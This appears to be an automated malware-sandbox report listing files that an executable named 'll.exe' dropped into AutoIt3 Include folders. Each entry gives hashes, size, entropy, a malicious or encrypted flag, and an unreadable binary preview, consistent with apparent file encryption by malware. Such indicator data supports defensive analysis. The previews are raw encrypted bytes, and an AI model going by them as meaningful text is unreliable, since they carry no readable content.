Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):110575
Entropy (8bit):7.997989373273875
Encrypted:true
SSDEEP:
MD5:4E84DAF52E2BC6B026155DFD7673E982
SHA1:9A661514233225E9A0EA0236FB2BAC248DF399DC
SHA-256:DBF70F4051CD7524EE16F1C7C307A5B8F2C5C60FA101618A24CFF1264C34FD64
SHA-512:5DE16827F8BDF770F0C3AAECA195D139593B16F5B4807E46606519808274F6CF1FDBD6C901BC42BCAA3CF452B26A98A055B463B49405177B77541980CF8207D9
Malicious:true
Preview:...:j..W...q....... r.[.=.2I.7+...U.0..ep.|..rh....."........Y\.V...5.....D...g.3....O......"(f@.~.O......5~..RJ..4oR..D..).M....K.&..Fn}a..C.Md...9n...(...^...z.....'.s..&.Dh..r\..-........oO...jMo.hW...{...%[8~......3Y...EI.....I...`M.....eB."..p.s&..C...D,op.Oq.J.'..."6...8....Q..0s7..@.'....a....RX..2<w.t....s..es...'C.g....Q*18....-.NK>4.*.`SO.......m2iST..m5(...@..mX...T5.z3.M....7.F.....F..[.sh...R..Jdq#..</...jF.....[(...cWr).v..F... ...S"F...H^.4.9.s^j.F.f..."F.)w....}..0)(..5j...m..;..l......I..%h.....Cw.&/n'.....{..~...i..S.....y,.xjfJC...B..X.....lKUH.bUR..S.@Z......G....PDD..{..WQ.s..T....O;.1....y./c.mgp....L.d.4..J......>..n........;......J.fB......2....+..6L...."w..r.x.q.........G....8.....3....O...=......:...|.6...A....i..cr.. ..+...$MD.l.b'.N<A.._......6".a...,...Pj..m......QV.i+.=..A9.:..6.|.l.R...BV'.x.C:.-.&...F....35.K..p.....L...P......._..&N_<1..m..{.....|q..\G......M.b>....^lP.....|{..._..-'..0.._.0x.vG".b..!....

C:\Program Files (x86)\AutoIt3\Include\UpDownConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1685
Entropy (8bit):7.883592847935516
Encrypted:false
SSDEEP:
MD5:F1BD4DAEF51A6E23F02B09E0B7A92247
SHA1:0C1E5751A5A38A53C2C15884DBB23EED014D8DDB
SHA-256:DC357183EFF8758CCAAE964D7E72B2BB8AF38CC31CFEF5609F500F2489DBB1CC
SHA-512:183D8D04BD7884F5D2980871BB61D1CDB9E842854BDC300005EE791A9D84173CD7783634B3B64DA6657807C3C3D3468E9AC3C21A6235EA9D59BE4F899F3C66D3
Malicious:false
Preview:Z.&.o..q.o.u.>JT....A..J.Ti.M.....$w..2{T.`.N.;.|.2..t......].zy_....b.P..OU.R..T...y.!y....R...W..,+..%R..J.2..."...WCo.}.......9O......b.`92..1.?..[.d..!..at(.....&....i.S..........*R..!+..VlJ..J=$.m%.mo..@.x/1`.G..........>.o..N....i...!..'....K..~........c.-.a"..;.0.M..<...`...+r....".;c.......?.S!...y..o)O..G%5P..{.&L...$k|....b.!.....,.........i~....0.A* ...6.T.Uxq...qb.....~6...K5.k....q....k......X...n.t6n..K.Z.b"......'..7..ymV.AU@J...B.s.q..~s..W.....;bz.+..<.\?.0`........V....3<...~sI.e...,..6U.b.D..D].A.8.}..u.2.3....g..$.x'.k....u..?......N..DS.t....X=.s.}..[...A..K...{...C#.I..D...|m.WI..........}.K...h*......)......;.2o.B.j.e..f.q..Vy&...5...4x......<4..l.F..f..F...;.....7Q..`#7.A....7..srg8.;.4_..}.\.5......0..:.z.2/.kt.....#..g;F.7..4*.+/C.:.........PD ..`nk.H.g.......wh........s..x..e..<.>p.E...S.$...@...0TlJ...z.H..n..V>.... t.w..F.F...}..7.....:..|j*..ts.=..{.Lj.]o...Y.,6.m[.9....:).+Ob.L.Xau....ap...f.g..D"

C:\Program Files (x86)\AutoIt3\Include\Visa.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):40507
Entropy (8bit):7.9953970296784265
Encrypted:true
SSDEEP:
MD5:C7BA41596E8BF4954952A691F9EDA92B
SHA1:2C1773FAE3485503773825717F6958AE98E6E5C7
SHA-256:E9AE2D4DE1781D685B95B64C8CFC349E42F7CFFC5C87BD19328267ED9EBF8516
SHA-512:14B0BA89E91A00F8D1E7CB31BD0376010C79EBAB9B58EE933250DAC1938D428DC96DDE5FD27CA71A837A9B44D7E5B534552149EEB3886F5F182BA6A83AE48A50
Malicious:true
Preview:....F.s..&b...../l.....l..?...U...p...c@~;+..crj9z.|JG..S...q}..?...#..1.P.. .#5.7.....'R}...._..j.J..S.....:..@.R.tY>.=........h..w.....A..O'...{..M.....j..~M.>Bn.r.7.L.Rz.q..\.d.],.C..9..Ha.......:..U....s.^..n4.....g.a.P.?.ii.....M.L......eb.. G...@".WP.....y3.'.....".om.:......o.>b....t.:....{.l|...~..J_..4.FL....^1.....tl$}.j.{..+.......r?.^N.a*..n0l.<...p....."..xh..C._L.X.gi.7..WKE.iS.lD.^:.)...(.V..}.1...y~.H...Fg...!_K.wh...1<.=\}....c.6dk9........B[6..S..%Q..k!.\...O__.m...g.P...l..+....>wY....+...%^.E.P|_L.g..|..9..u..#..LB{mzH..A...J..V;`...ID..C.vt..3..__sR...n..bb.g\H..f.......A.g.....|..3.I..3I.K....>...7...,.E.'>23.^..j...E.Y.Ik0#.9+...v...$s...3.^.X.L...vRa....k...I.%..r\mk.....%..#..e..6....bI.....7...|+.^.+.....F.\j.......u.X...W.....2S...{.~[p|@...A.....Bd..*cy.......aL.b......3U.gw...+..`$j.+.8..M...P.t..q...3.w.d..U.....n..xr..F..i..Y.X.1.Q.K5./.i*..Va.@X.._j0...ju.........}j..s......,.~%az..Hn...g4O.G.4.GDt...10P..

C:\Program Files (x86)\AutoIt3\Include\WinAPI.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2054
Entropy (8bit):7.900538723870162
Encrypted:false
SSDEEP:
MD5:6546E5F94FAAFE2964E98B44D6EC2A23
SHA1:0A0A16C92901164A7B9610116FC4A533C16965F9
SHA-256:20AAFCFC8FC8BEABA96263379CED6C71AEB430517327B263F8D5032132CAC7C9
SHA-512:14B093A78F8684F312E8EFEBD5BB96193872FAA6719A62BE8FF5FB806CE1560AACC6FBB852C6C0514D69D02392732422865FF7E3F5463F93201810138BE2B1FE
Malicious:false
Preview:..6..d....:...4.a.9...V=.... ....3H.N2..a...........g..x..@-.K.N........M.Z[.".U..q5.o...y'A...`.\.>o.HG&p..z;.l5..Q......G`.....Nw9..l.._.=. V|.-.M.{9.MT.Gig....a....+....T....E.....R.+0..t...?|~..QI~._.......1.........8..ou..W.q.'{2..p....%.Oy....bw`6.O@UO.@.......l..tC.C.F3O.9.......!S'..d..8ld..#C.N.....&..D.?.o.J....zb.D.`.!:...)..a.H.T.`.".IW.-].;..!9J..P.J.....h%.. ..y%.......f.>^..].l/ZB.:M.M.......B.a.......W...u......&=D!$.L.M.s.(*.T...T.W}yeB]..aL.c;..=.Qu..D. w.M.....C.y...` #.AJ..M8.w...tR.\2-...}.3e.B..t.....a..#.9h_..a...O..P.9>S....]..z.b....[.K...{{X<'......Cc..OT,.C.y.O...?..B.....1.....|p.V{......3.....0`r.S/D~..a.... .q..\..z..5.3/....k?.,r}>....Q......M..h2.9..<;.r...I...x../W.....y..4....D.........c.*..U}.|y.L]..e.n1.8........{.D.....C..T..X._..y9).....o...C.".]......T.E.X.hj.....7.......jI..R.T.9...T..9.+.[.;.{....%.lj...xi.t\..C.........R"..k..-.;_<.eqi.M...x.;.%d.Ui..+.?.Tq..t.+.....:Q.k..;....7.>..B+...S...S..2.0.O@(..th..

C:\Program Files (x86)\AutoIt3\Include\WinAPICom.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):10086
Entropy (8bit):7.978813860253506
Encrypted:false
SSDEEP:
MD5:60C13BC11A691D5E3F5F8FF02D3A1A4D
SHA1:2C683C369D693CCC9A1DC373A9DACFA2FE951C18
SHA-256:319A470F66E1C9C8947033CDB49421A6056C5094AD23E4F13D8EF2A2648899B3
SHA-512:1C86EEB74BDBD7E301AC4F1410B0F22EE180F553EE7B845DFC0DE8EE94DD1DDA429D6E3FB946393AA869966BD5BF8A962AA9AFBEE437FD7B6625629AF2F56EC1
Malicious:false
Preview:.~L.W..h........u..s.x......:.......E..z.<",.U"..p.=!.K.$T.i..W^..a/.....l..5h..t.#4.....R,*....wI-2.....s~...t.2..ev....Ffx.......QH..<..m..]5...."0."....n.J....4.1..q.....3......@....].f..4. .-.(...^.A.w....S.x..:.....L..c/n !.e....,V..1.j.C`X...~......Ms.v$.....N..E.Ig..53M..?S.E..........c.IwZ...7.9.^.'4]hQ~...#.<.wO..c}...U..%2`U..^.Qu...r..g.kw......7g...M..'[..x6..-8.F.H>.....v..h.WK........R.6t.....Y."..n./..l...+^.C......b.D...l.Z;L..a.F{e!o.1rQ.B....g.t....v..9N...&.L...K.$.Q\..~..l..f..m.AHH..cS6...yS...6C.....V..&._..i.y.+r.<....UN..JJ7...jf.i...ja.....wrT....Ka.R.E$...8.C.w.S..Ig>..M.."........ 1...{`..q+}s..5C..s....?=.....G...~.g..Y...2W.7.*.cJFcZ.....A..Q.d.....[BW.RD.....$..e...<..3m...?....Jp.O..!l.l.$.g ..~..J....'.dl..........|...0.fw/. .[?.P-Y.J.YoY..p..a....RgL.. .?......w......7..}.!..gb.U..$u.Z?E.?.CN.}.iV..G..]......Q...].1.=........M....S..+.'-.5....O1....F#..h.B.|o....do.?......Q...q..e+.Ryz+Od.]..C{...< =..\.

C:\Program Files (x86)\AutoIt3\Include\WinAPIConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5807
Entropy (8bit):7.968455014471959
Encrypted:false
SSDEEP:
MD5:75FD1C7238669465FEEE7F18882A0E43
SHA1:46DA7609DADE192F3A6151D9F8420698A1E30839
SHA-256:94CB42E297F465D4C646EE18E36964DCB427CFB3150BCDF461C8CD02B264E875
SHA-512:6677EEADCF28AF6FBA404F702E502E6B677BC5E0528D8E058FFD4DFE775A0B916AE5329D7597AFA1DB4BD413C033BE32D9E3DD10003984302BF79F160B2E722F
Malicious:false
Preview:.^( G;.~..pS....&0eEL..........x%:.."q>....XJ.Z.....KK\...g.....c.k8.'......o*..5.'-.....cYg~..>:.....2...s.p<.7..]..^.v..O.I.W..=...d....>..~..x.).#.3.a...A.M..Lu...g.l......K...y.2..<E..S.......'.C..{...ql..}y..,.$..4......ql.2..x~....>..........D5.v.Q&...S....^.......:..*Ke(K..%s.z.OM.r.W.Q.)...... KS.. .fL4..N.x...OF5g..#.7..i#..+].o....u.........+.@....x.-*.0.S.....l..A[Z..+...................a.:./.'n...9&..Mjc.@.......t..DKmz0..S.$*...^.4.....b'4.Ql..l..q./.|0....jBzbU.&v._..}M..QI..O..#.M=..>...'\....W.Rq.2.....?.. ..+T.a-.....r.7..F.w&..._.U.M...o......s...7........mU..r@.,..r..5..Wf$.....y.F..R7J.n.......5+$$.(^...!px..XGY.{.C.)..`&T.H.....Z#...B..A.4.e...|.o...Sw.zye...^..R.....AE...m.{.......].ae$2_F..n.t3....<..)...t"M.Bm...?.-.(.........u.K.".I....g...GP.v.o..z..|.1.U24[ .....Ns.i$-..A....>.J...7.w^Ja..b.....T....H.m........p..Z.l.4...].ewa.vS.Q.[....^.Sp....d.%...7....r..q...7/...T]...n]*......=..h.nwn.l4c(.8...V3F.QY.

C:\Program Files (x86)\AutoIt3\Include\WinAPIConv.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):29671
Entropy (8bit):7.9927253619844665
Encrypted:true
SSDEEP:
MD5:3777B5A1D12B5C599BE83FF293AC0B56
SHA1:602A9CB5662C84B9F19974CA4DDD5F1288B072FD
SHA-256:AB3BEB812F51957E489E3DA6BD3DF4ABD9065452C8083730FFF3C8E3F741BCB1
SHA-512:63667A6B9B2F5EC1DE1FC3FAA46458C9FF0D8FDB19C18FE2391AC1D1648F2FB7F9A4309A281EFE8640708776F5EDD29F731CA903380BDEDB176D6908C0B47D54
Malicious:true
Preview:..u....LG.B.m)..C..l..,......hz.9y.3.^U..v...kt>E....=hG...M'....C g..s....G....a7..{....V.....n......O.*?.^...W._.<...Ci.&B...O....G..7.(.jd4...6^.a4..L......Y`.;,.4M.&.>...}.p.LQ."..8.?.....or...$..3/.7RbB..P......D....pDH......K.....!`D.T%.}.....2........(q...i./.H....n.2P..oPM.........8(cyD....b.0.-...'..........S....I..(.."....L.uL..j...~.o..H.ft.Q>5..[,.....Wh....f.{|..Bm..`.s..z2.|.i.n+......9m. }......y...P...~.m.k..b.ogW..[..?...o.mN.6.....L.b.;...L.a..|../m$..?8w6H.^....m...s..O..:c..4.....jD..U.o....Q..4.(....I......6+!....Q...8?.A.pM.y..H"...2c..R..n..bt..Y.X.X.......Br....@.~.vGO.-)....A.1..}...D..J.Z4.P...B..&..j.....3M..R"..v;....<.r@R.~....%..x...k.3_..w....)...aA..ML.$.Y......?_..*.6.J..`.gMY..K ..F.0..O..#rc"t.......[k.......4.....3.....g.:.jj..h.@r...}e.@.`..;ma........S< h1dr.U..x....!....g...i..`|./..b?.`8..o.%N...4yj.*[.u..j&..J........L...^.w-~..7`V....L.?.D.Em.T.M.I&..... ..?7e.0..R5.e.X.H...+!5..,wJ/..&^v..........O

C:\Program Files (x86)\AutoIt3\Include\WinAPIDiag.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:PGP\011Secret Key -
Category:dropped
Size (bytes):33434
Entropy (8bit):7.9954660517619685
Encrypted:true
SSDEEP:
MD5:6D0C965E2FC59F160C11218EFC08A1A1
SHA1:23DAA5B8AF65D7417E24381917E7C45010AFF2AA
SHA-256:44874788E4FB55E6AC5DA8F486850E1F9DBB1AE3095E22CA12F463AE9CFA3262
SHA-512:C551ED5A40A2BB5B092C09F24E55A53248BC1D89EADE8326D1318BDC8DAB50E56510A320F601EE9ABFE05F26400D9FC6AB820073E1006E68C1725712B3D6551B
Malicious:true
Preview:...lrY.....tl.p^UA..2u.........g..B...E.z.@......._aK..*y.....Q.q.O>z.co.Bs.?...1..qVU........9v..Rs....K.Aq..........Q".....|.k..V;{.(.J.d./......A...........l...."1fNV...@Q..b..+..&....k..qO.%...(.S.l4{n*.b.....|...y...0.S...i.r.....r&K.....O..W`....'..j.,..Xi.N..Ez.Rati.'Y...[.R.j#..t.P..cp....[,....x......I,.R@.F].l....Wk...z..k..!.+..&.c1.S.7i......u#..W`.../.....].....W.m._..bd...E.......ca.&.Q..../.fZ....vw.7..N4...Sj...Oe.....O_ZZ....%.(. .......z<...La..zzI[..N.!7\..O,F`.O..aj..#y4..f.nE.s..3-.O.z..~.f3.$BZ.,3G...d.$.d#N.....|j8..N..R,..1.......'....m.>f....?I..T....n..5d#..j..D_\YSh.kA.+..g.v....W.....a.....Z.*.(c8H.[eO.l..g.@=.n%.0.'.....l.a`1..r..?..K.H,.*......2Z..;:.w.s.....@f..%.?#fbg.....M..);.I.\.w.~%5@...=...V..8........(...QCp.D....qBG...U%..s.RT6.).Y.~5.WY/..Z.?.QF..`...[]@:......v......(`(..q....w2..4...t.?H...H.|...U}F.9........3...'.)...U.....KE.4.Y.Tkj........T=7l..&."?.....i.".}k....eg..N/.G.xt.e....u..L.

C:\Program Files (x86)\AutoIt3\Include\WinAPIDlg.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):39558
Entropy (8bit):7.995437141570599
Encrypted:true
SSDEEP:
MD5:00BC239C559205B130B68642595802B2
SHA1:1C3883767748E9913E376A74786A75591E2A903A
SHA-256:348A6A149D13C00393A79273F397793126AD677955B8E421E68F3B842593DFBC
SHA-512:6B4465C889AFD006B47976E0189B408CEAE58C780AD91A9F6C437A937E19368EB7A9743E06F895A7310A2717EE7043DFC9FC928785906D0A56AD9CC45DC74660
Malicious:true
Preview:...5...(.......%S.Q......At....+.DS."....z.......K.I...PJ.\5Z.G.z....(.......X....OMrm.....1.c.Om.S..mh.[5.z^LJ....Y.y.8....??...R...........4.7.t>.4..Ca6o..C{.i.3"._E...e..'.9.h...*zM..9......1..I=..Y.....,............*.{..g!WoL[p.9q..)0...;{.1...)N...`.....s4%.a."..*;..'_+s..:*......h.H.d;.y.,U.(b...J...@../.).r.X..#.....S..<4;.E..4".&....G?...4K!.+'@..+ALQ...b+..&I.EC..tB_t'..1.5.z$.v.K.~.....dA....LO.E4..o.....l..9.|.kTf.Y..)..dn...aq.<...h.{K...]..l@.......,#`:M ..o..4%..=.FQ.........7..l...9W..a..Z*..d-nF.......R)...o3.....n...d..%.sDM...PE.A9 NN$...k...v.p0..c.8....gn@.....cWY%..D+._..Z....k....%Q....#....<. k.?'!.......M.d|.J......%@..Uf.6.q..Z.....U...E..[.......y._...u..aC...~...]M......LP.._..*'....s.`'...e.+.7[.y.9T.;..8..d...f...Z........?.Qc..=.\gL..R.@#..|k.Y=T.W.D.S.sM&....%.7.+..,...fJg..J.....WZ.Y>h..qs....$.....A.....tj"/Z..YMW.....9...WV....2(.?....`g|9.~Y.......s..J.........no,...i..`<'SY..r.Oh-..'YlB..M>.V.:..K

C:\Program Files (x86)\AutoIt3\Include\WinAPIError.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):12436
Entropy (8bit):7.986862638367302
Encrypted:false
SSDEEP:
MD5:FFF0F3F4B62774745839386C9DFFCE4B
SHA1:82DA847A035F80B57E3DB47B40E2D6B7E91E4B9E
SHA-256:3C494CF8554BEB402EAC277AAB6762220F61699F638BDDA89D65D212463CA042
SHA-512:68E1413FC89C0A0A0B563C2F0D489BAF5B970C7DA576E1465C9E38B5460AF466830ECC89BE4A6849536C1EDF2F70C6C9D1A3CA41A95F7AE4C5D51E7AEBEB7989
Malicious:false
Preview:.5E......HO'.N....Np..R5.0..7......C.i..G.s4"J.%k..(;...j.........b.x.H.. ..65>+L..5*.n..9.."W.[."....f.1.%..4?.[....,..3...%#k.Bf..DU..6o*).@0C........].%.d..z:.)...!.[ .e..`.U[.4.........v.WZv.Ac...zt7.....$...?.....4?..".....c..e..G*;.u(.....;E.@.....6...2.U....2$...L/.....)M.\.....Ln.BTKH..."...' .o.LH....(un...K1..#.3@........T...c..c..f..0@*r...\ga2..................X.`.c.y.}Z........d.@W.~......O.:..l.K..lF":........9].*...(......m.1.c..`m_>g~.Ld.V9}.......q.,....Q...@.B4...m.Jg=w..<...z...........J..-.I|...{3F.h.~5..c.......*.. .5.E.9y.U9....&.i.&..-......#.~.Y..|.{.....p`.i...j.,.1..zF...x...v9......,...RH....../.E.Z.+P.......X."....A....Wm...s#...%...).u.............}+..0dB|3.._+s...<p.......R......lg."..*..U....W..;..)&.6.....Iw6..(..:.8.2eK;Yl...c..>...,....w..a..m.a%...#qy..q..R(A..9...KZ._.!..q..m..U..tG..Wd.).;.l...^.....B.../.'.o.*JT..2..~R.U..B...PI_..qzOj\........i...H..^.....?H6.l...?`kL.E....@.p."9M..~..v...

C:\Program Files (x86)\AutoIt3\Include\WinAPIEx.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2141
Entropy (8bit):7.913688083003911
Encrypted:false
SSDEEP:
MD5:59B91460838E22054CAB18C4C2EF7823
SHA1:CE35D9D1D462E61218C9F2A3655EEFD8153AE5D7
SHA-256:928EE0D0A7B5117DBD00C32C6E35DDE39E8D62D6A5FC669624ED7B075DFAB62F
SHA-512:ED9FE70DC00D6C60D3B3469B6A75AD64DA21522978DE0C79A4BB52615AE6B6D1989DA941F255247668A682FF280B28E9444BC997E120E5904A9A1E3DF5B1C4B4
Malicious:false
Preview:.V.).IX-.<..2&1O.g..B..6.y{.0..."NF1v.k.H.)x.@..BC......Z.&&O.Q..X.....2.........R.+......BA....q......w!VnU.3~N..7d.5...f.M.R....4...}k.n.#...p.k......xR.Scy.....H(.:f.)9.5........a8....?...s.N...6Q.6..y....^u.. .. ..K......p...%....&..504........%k).Y...a.Q.J.%..Q....pzR....(.'.u........(&...u....B.Q.._.B'....p.p.T......6%..aV). .....}5....d...;kz}<.:Q.lu/m..vU*.a..Kd.Y......Q.(Fz...|...........P.8..!m.U..;.....n.V..Z....^cP...d..>....#.%).Z:cO.#q.v..K....k....<._GG6..:5...'n.(P.k.T#......D.^..2.\..+.NDz..`.FY..b.......0......=,..2%.....Z.s.SdA^..M..@..nU{....N..^.._J..A4.d.%J..*.#.P<..g.....rj...ZUM.8b=a.i......o.{]..ZT`..o`..K,..U4I>...?.....g..X.V....q.G...;j....u....h#.q....%.fF.....}..}.(z+..."....fo..S.*...|...45..1..$.......g=xk2...0.Z.j..R.4`..@&..0l...m.O].U.w.I.n1.!....N...X.C\....l+s...a...<..*.U..~+..c...3.6y...Tb.t...o.&.zN...0+.K...[../u.w..&....F{.!.....O.....}...*"....c..:...k.9.....?.....-.....3J.b0.EB~4T..Gb6...

C:\Program Files (x86)\AutoIt3\Include\WinAPIFiles.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):96281
Entropy (8bit):7.9983099626274425
Encrypted:true
SSDEEP:
MD5:E67720CA9A08E59BBF1F72B75A2BDC5C
SHA1:A1CB62429461BE373FF705C6D060D5EEE50663D3
SHA-256:20974017FE01008924205FC6A78F96AC7E461D55BF5F2127AD99DBF6B364B46D
SHA-512:29EDF1E7D24FA677361F596A5C59BB109EF2E9835382183CC6C62361192FFCBA9C07AF64CF81F0616127D96D6FBDEA9D76CE6F6EFD2E7CA1F4E0BC296FC36C2E
Malicious:true
Preview:..K...{.u..I...U.....4.mY......~......1.a.........y...4,....qP.....K;.. #..xqYB\\..$.....3..._.ZX=ze...|.....]I..g..m....w.<.7.C~f.{=.(v...6E..,_...'..j..|....$ls...GU#w[..........p..U...zMG6....Kf......}........n.-jz\xb:{.P..Q....Z*.C.....'.nbt.....JI..|r.U|...:W$P.z.kXF.'.Q..4.......R...r..qv]8..].c.].\.].v..v.U..6....[..|..G.k)I..l.u.k.+.6CR..N+`a.G.E.E..>..%..p.pv...W.2.....<,..........P.N..j6;[.-8.x.....{3.iHj..7Q..1....C.(....{.s72.@..q.>q<....8.4.t..&...$.$.....s.....cS.$`....j....9.|....S..>...22....p..).n..qt..@...~...>]yN.Ku@N.|...o(w..I&.9._.~r.....u~..N....Y.......*.P..j...Q.b.D5..Cy..h<..8X.......J}.E.u3.......R?N>|.D.H.-#.8.bLF..H-...H...7.Tq.s....!.....#.&n.....o)...=\.33A..w....tZ.1..;|&.6...iLJ..&T..n...N.(..5...2Y.2=R...].....E....#....D.U7mc._...9..g=&#(uD.....u.........".V5#..m..{..y.*:.VV...a.h.+.1..N.H.%.........3....rO].G..T.a.J.;.u"........e.........MO./= ues...._.#y...`..O.z..{.n.O8o...E...c.=...f..1. ...'

C:\Program Files (x86)\AutoIt3\Include\WinAPIGdi.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):204183
Entropy (8bit):7.9991676754832985
Encrypted:true
SSDEEP:
MD5:B9A4CE53E14EE43A3F4023A9344AB4B1
SHA1:D6D14293D1DFD617FC215EEA4A3732C053262FD0
SHA-256:C859FBE61EA83C63D9EBD6B2F1036B4856C9CA103F0B94F119F4A70605AB4A4C
SHA-512:BEB77063BF1339D2053327F042D4BC0CE3ECD4654CCDBEB9C2EEC246048FC002C4BA667BF73DCD45C6A9F07E2302984C9C14D53871F1D1C557DE34441BAAA71A
Malicious:true
Preview:..-.$.4`. ......s..=............h/.x,.5..-...&|..B&.Er`K.(..;{#DMc......._c...P.....^.t.>.(....08.K.*_..<l..N."q.....p)..k.{.Z.+....dr?..t....:.B.|.cv@<...4.7..O%K..%.,.P"B..U..[.:k..~..ga...B..6......Z1lN:..#3.A....I.(...R.......:@C......qQ...q..d..'........&6&c..dIC..47P.F .'...2h=...c.@.&.......F{.K.~....5....._.F5.IvS.....x..S....E.|....Q.....ixx..d.........xD.;.......Xg......"...s..W..^.{a:Z{.x.T.]......q.&W..ig.;..'.k.../ct..d"q.....EF.p0...t..=...$..v.=w....|.`..9)....`.....m...P.._@..S..#W.1^.1b..(....!.x.....r..?.+...]W.... *...)~..1.UB\..`..."....L..w.)2r3.u4#.d;o....).m.O3X..R...7...+?,W....{1..=...}x..v.R....Z.*..k.{..t.b...XcMV...U...1.m.B...:q..i8.!..1Z...F........&.R.6.P5.'.....e...x..r..N....k...i1../>q-B..!...`.\2..2..VQ.(".:.`x......e....|UD...e....Z"Y.AOC..JO....Y..F..'.....O.>..H.......^..E1..4......D....e........U....'.w9...p$elZ $....;.N8....#@.......1.X.5%j$ m.........@0-1.w.../sL...s.... ....9.JmWB...n....).v.i

C:\Program Files (x86)\AutoIt3\Include\WinAPIGdiDC.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):20549
Entropy (8bit):7.9916919312862555
Encrypted:true
SSDEEP:
MD5:2F920EA0D4B05BF1512F2D5263D67CD0
SHA1:241366CF066F7E3F7423FFA54B176BB753C5AF15
SHA-256:19D8A00B3EC5A3282DA9F777BACA1BB6D7B4FECE359C9DAEAE216E8243377781
SHA-512:7145DB44066DFEDEC085EF8854B5D20AD175DD011359DB8ECD60C7D612E3A008819AE0079BD14264BCD0E1E80918C677C07BF3643A5A1F0FA6D6252FC97C35FC
Malicious:true
Preview:O+...F...s+x].~.2.......w-...".K..d...'.h......}.....}^io....+}.P.J.......s........D...r[|....s.Hp.=Z.....~.<....k}.......U,._O[..(.a..c..;|.}|......d..g...{... c].>..c.^uuZ.m...MD'.,].KRS.:..k"...". .jok...._G.."7Z]........t.x..........uN~......~,x...(,[.E......\..a.Ncz...w_..x....=....5..\.219....d=[q.%.2....y,.q......7.......e..{v.JT..8.\!.l......!...t.xj.mlfa..9..pT.(.BB...Q.(FTZ....'.gdf....w.^......Y..u........T}%~.0.e.~..pc.#..d....QZ.......R..?..........,.P...o_....J.......JU1.^],.%.Q.L2...?....)..u..{....p..Cl{O ..c...3.j.......e.F..m...n. q....y....W..j(...kA.b..cV..|..p.E.K.m.H.@p..T/+......g.O..al..;(.....]{c.-....1..,c.p}..*..3.'....:.!.du.........x.YC..q...aK5...K...X.9.)a)@c..<.d/(..7+..)..v2..0...+f.`..".8y.......h;...YG.h6.:.jQ:..5.\.b|.^.w:..lG........)f...w0...O&.J....d._.#..(Q.X5.....>V..~...b<.:..t.N:..y...EA.%.kPmKn...e......p@..nN....\....4..]..lZ..B_O^.....A..h._..Y..$.<O.....D^.F$5.*,]r..Uv.....D.;F)k4.o

C:\Program Files (x86)\AutoIt3\Include\WinAPIGdiInternals.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):30092
Entropy (8bit):7.994345423759359
Encrypted:true
SSDEEP:
MD5:ECF0B73E1389BF595FAF37C37962F8AA
SHA1:64E55B5C0D691E8F05191EDEDAF501BAC7A5BCFE
SHA-256:C8F5650275DF4F0E259CD2E7EB639183F523CF4A173678C6511BD51240E3082C
SHA-512:8789A934570CF85C6D826BD4438F7185EFC9FBA75FDC27B8CA811A6C9999036CD68BEC96DEAA2FE52D52B8366E3A6F6FFF49417360895EADB4449AAF710C54CB
Malicious:true
Preview:.V..Tank.6...}.{.u.$.9[.....\...._..u......H."...<.T.q.9:u......5#....a.3.......N..P....D.....<...0..:mZ...9.8..a..:.......+..:.n.#..`.?..B.....v/.=....Y.......vc..G.Re/.2P .Ot....._....9.....+d.....|....... ..|.}..^`....a5.......,<......*aw....^.... ..a.K....."?x..GN.(...;IX..N.r.cIY...x.9)!W.n........T6#y..paD.o.....1f..<WT...v.G...!x`pO.z."....6.qu...RP...0).......[Jl....6.q...&h.Z*&b1P..J..N...3]...~...[....DB..0KR..j....Y.x..G..1.D..P<...hL...`.....@..I..).b.m...B...{)...S.,K=]h.^..P..0..%....>u.......V.)Hy.nI..v.f..n.U...3........U.$.....$..[j.....O"...Z=..r...^...p...NT..{l@......1..{P.F..PBC...a..P.......U).N.........3.I......H.;-g.@.E..z...-F.9..E...,u+/....[....G@.6.......q.</...>._.X.....g~...QN(..Y6=,p.\.DaLq..~~P.?.j.Kv..L..c..n...7z.Y$s.xf.M.r..$%.......w...o......9Mi.0R0...'-.......o..h+[a...'...0..oE..*.-.O..-.i....0...9.......d.zb6.....d".`r/1!{...P.Fv..&....."....PL.k........j....2T.....'....OI4..QL...Y.6eF..

C:\Program Files (x86)\AutoIt3\Include\WinAPIHObj.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13649
Entropy (8bit):7.9868055924570935
Encrypted:false
SSDEEP:
MD5:7CFC9E1C999EE8D2B2F6D443CBAFEC12
SHA1:C21C3CFECCC533E921BE57B9A7E1524064D522BD
SHA-256:7F65BEF68C5A14087EED570A504220C1F1E0DA9C43D3D559EBE22EB59E72E7BD
SHA-512:7C6478E53D0CAB629AB99A0069146B76104FAFAF32F8F360C293B17EDA0891CE310CE79D9398702F744DFE759A9820A31A1CD02645926A96579EBBD14224BA3D
Malicious:false
